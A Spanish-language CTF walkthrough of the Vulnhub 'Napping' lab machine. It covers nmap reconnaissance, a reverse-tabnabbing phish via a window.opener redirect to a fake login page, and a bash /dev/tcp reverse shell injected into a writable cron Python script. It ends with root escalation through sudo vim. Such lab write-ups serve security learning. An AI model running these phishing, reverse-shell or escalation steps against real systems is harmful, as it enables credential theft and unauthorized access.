Post

Vulnhub - Napping

Máquina Linux de nivel Easy de Vulnhub.

Fase de Reconocimiento 🧣

Identificamos la dirección IP de la Máquina Napping

1
2
3
4
root@kali> arp-scan -I eth0 --local --ignoredups

<SNIP>
192.168.100.25  08:00:27:49:ee:4d       PCS Systemtechnik GmbH

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p<Ports> -sCV <IP> -oN versiones

c. Al visitar la página web nos creamos una nueva cuenta para autenticarnos en el servicio

Página web después de autenticarnos.

  • Vemos que la página dice que podemos promocionar un blog, el cual al colocar una URL, el administrador la verá, esto nos da la idea de un Cookie Hijacking, pero no funcionará ya que nos obtendremos la cookie.

  • Lo que podemos hacer es engañar al administrador para que se loguee en una página idéntica al login del servicio y de esta forma podremos obtener sus credenciales, nos basamos en este post

Explicación del vector a usar.

d. Estructuramos todo de acuerdo al dibujo anterior

  1. Creamos nuestro index.html y lo hosteamos con python -m http.server 80

    1
    2
    3
    4
    5
    
     <html>
         <script>
             window.opener.location='http://<IP Atacante>:4444/fake_login.html';
         </script>	
     </html>
    
  2. Copiamos el código fuente (http://<IP Napping>/index.php) del login, lo guardamos y lo hosteamos con nc -lvnp 4444

  3. Ahora, ‘promocionamos’ nuestro link en la página web de la víctima

Damos clic en Submit -> Here

  • Esperamos un poco y veremos credenciales del usuario daniel

  • Tenemos que Url decodear la contraseña ya que %40 es @
  1. Estas credenciales (daniel:C@ughtm3napping123) nos sirven para autenticarnos en el servicio SSH
1
root@kali> ssh daniel@<IP Napping>

Escalada de Privilegios 💹

a. Vemos que estamos en el grupo administrators y que podemos modificar un fichero

1
2
3
4
daniel@napping:~$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)
daniel@napping:~$ find / -group administrators 2>/dev/null | xargs ls -la
-rw-rw-r-- 1 adrian administrators 492 Aug 21 19:57 /home/adrian/query.py
  • Este archivo guarda cada cierto tiempo la hora de consulta del servicio web, para saber si está levantado o no.
  • El dueño de este archivos es adrian, así que, todo comando que ejecutemos en este archivo lo haremos como este usuario, por lo que, nos enviaremos una reverse shell a nuestro equipo.

b. Inyectamos en el archivo el siguiente código

1
2
3
import os

os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/<IP Atacante>/4444 0>&1'")
  • Nos ponemos en escucha en nuestro equipo de atacante y esperamos a recibir al shell

    1
    2
    3
    
      root@kali> nc -lvnp 4444
      <SNIP>
      adrian@napping:~$
    

c. Listamos privilegios sudoers que tengamos

1
2
3
adrian@napping:~$ sudo -l
<SNIP>
    (root) NOPASSWD: /usr/bin/vim
  • Escalamos privilegios como nos menciona Gtfobins

    1
    2
    3
    
      adrian@napping:~$ sudo vim -c ':!/bin/bash'
    
      root@napping:/home/adrian#
    
This post is licensed under CC BY 4.0 by the author.